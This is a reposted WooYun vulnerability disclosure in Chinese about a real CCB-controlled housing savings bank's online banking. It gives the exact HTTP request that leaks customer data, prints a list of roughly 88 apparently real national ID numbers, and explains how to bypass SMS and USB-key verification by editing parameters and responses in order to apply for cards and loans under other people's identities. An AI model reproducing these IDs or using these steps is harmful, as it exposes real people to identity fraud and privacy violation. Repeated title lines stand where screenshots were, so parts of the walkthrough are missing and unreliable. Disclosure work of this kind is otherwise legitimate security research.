P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

admin
admin
admin
139623
文章
114
评论
2017年4月21日10:45:17评论329 views字数 271阅读0分54秒阅读模式
摘要

2016-04-07： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-22： 厂商已经主动忽略漏洞，细节向公众公开

漏洞概要 关注数(4) 关注此漏洞

缺陷编号： WooYun-2016-193328

漏洞标题： P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

相关厂商： 中德储蓄银行

漏洞作者： 千斤拨四两

提交时间： 2016-04-07 10:26

公开时间： 2016-05-22 10:30

漏洞类型： 敏感信息泄露

危害等级： 高

自评Rank： 20

漏洞状态： 未联系到厂商或者厂商积极忽略

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 设计缺陷/边界绕过 逻辑错误 安全意识不足 设计不当 安全意识不足

0人收藏

漏洞详情

披露状态：

2016-04-07： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中德住房储蓄银行有限责任公司（以下简称“中德银行”）于2004年2月开业，是中国建设银行控股的一家专业经营住房信贷业务的商业银行，总行设于天津。中德银行现注册资本20亿元人民币，由中国建设银行与德国施威比豪尔住房储蓄银行共同出资，双方持股比例分别为75.1%和24.9%。在专业经营源自欧洲的住房储蓄业务4年后，2008年底，中德银行进一步推出个人住房贷款、房地产开发贷款等商业银行业务，并逐步确立了“专业于住房金融，专注于住房储蓄”的市场定位。

详细说明：

无意间侧漏了大量用户的身份证信息，姓名，手机号等敏感信息：

code 区域 
POST /perbank/queryWhiteList.do HTTP/1.1
 Host: ebank.sgb.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Referer: https://ebank.sgb.cn/perbank/mainBank.html?dHJhbkNvZGU9JkVNUF9TSUQ9QU9EQ0RGRFJFTUFXRlJGT0FBQUNJSUpTRUNCVklMR1RER0hRR0tBSiZjdXN0b21lck1lc3NhZ2U9JmNzdFR5cGU9MDAmcGhvbmVGbGFnPTM=
 Content-Length: 81
 Cookie: snbp_tag=false; JSESSIONID=Xmx5XGScphPvpFQVzmTsST9s208T2h98dhjKDQZMJqtTMgyxhBy1!1162102123
 Connection: keep-alive
 
 channel=1105&EMP_SID=AODCDFDREMAWFRFOAAACIIJSECBVILGTDGHQGKAJ&responseFormat=JSON

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

复制response信息，脚本正则匹配身份证，身份证号可作为登录用户名贴出部分：

恶意的用户会严重影响用户的使用，如果密码输入限制次数5次将被锁定：

code 区域 
120103198603303819   
 120105198006200312   
 120102198705300313   
 120102198707205619   
 120104198804213816   
 210502198904042111   
 120104198706224319   
 120104198610051249   
 230811198405053824   
 120101196711020021   
 120104197601122127   
 130431198812260820   
 130984199009122140   
 120224197905200922   
 120224197108134846   
 120224198812085325   
 120225197912234529   
 372928198405277620   
 620522198511260742   
 120112198712292924   
 632525198208190529   
 120110197208283327   
 371427198403180046   
 130928197709140024   
 231182198605016612   
 120105198402230708   
 120101198301241031   
 421381198903081367   
 120103198207301141   
 120103198909257026   
 120111198801244020   
 120105198903080613   
 120102198702195327   
 120106198409063523   
 130230198701091211   
 120101198907241511   
 130103198308300975   
 130404198212053917   
 120106198102263512   
 120101198710082051   
 120105198203282716   
 120103197303190328   
 232700197111204204   
 120224197209121729   
 220524198607061228   
 120106198512016020   
 120101198603163032   
 120224198401117329   
 120224197607051527   
 120104198312194372   
 120225197806224319   
 120101198304291018   
 120106198101077523   
 120105198008111225   
 120103198009065424   
 120102198109100016   
 120102198010072027   
 120102198812230015   
 120105197502230348   
 120101198906143514   
 341124198507122413   
 12010119830923352X   
 120105198608254836   
 220122198602050226   
 120106198011137529   
 120102198711164442   
 120106198408181034   
 120225198511120816   
 320724198902070666   
 650102198803141217   
 120101198908281515   
 420984197804199024  
 120101198901215013   
 120106198907290024   
 61032319850822682X   
 120225199005145222   
 120105198408111216   
 120101198411194045   
 120103198804083226   
 410526198503076431   
 120104198011155118   
 120104197812073812   
 130621198707162717   
 120110199012221246   
 120222198809137013   
 120105197302283947   
 37292619760813004X   
 232601197910310848

比如密码找回功能同样侧漏用户姓名，customerId：

输入侧漏出的身份证如下：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

修改customerNameCN值为0，可将认证方式修改为手机方式，不支持手机方式同样可强制以手机方式认证，如下图修改后的结果：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

可看出之前是USB-KEY。

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

绕过手机验证码申请住卡，点击申请会先进行一次身份认证，绕过有两种方法，一种是截断数据包修改接受验证码的手机号，另一种是修改response信息：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

修改为如下图信息即可：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

之后会跳转到申请人的信息，如下：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

点击下一步，修改如下：

code 区域 
{"ec":"0","em":"","flowno":"100019500","sequenceNo":"7515257","windowId":"null"}

之后response会返回工作人员的敏感信息：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

申请成功：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

货代的验证机制更是简单，同样的方法修改接收验证码的手机号或response：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

证明：

P2P金融安全之建行旗下中德储蓄银行用户个人信息侧漏/绕过验证机制任意身份申请住卡/任意身份申请贷款

漏洞证明：

同上

修复方案：

完善验证机制。。。

版权声明：转载请注明来源 千斤拨四两@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：20 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin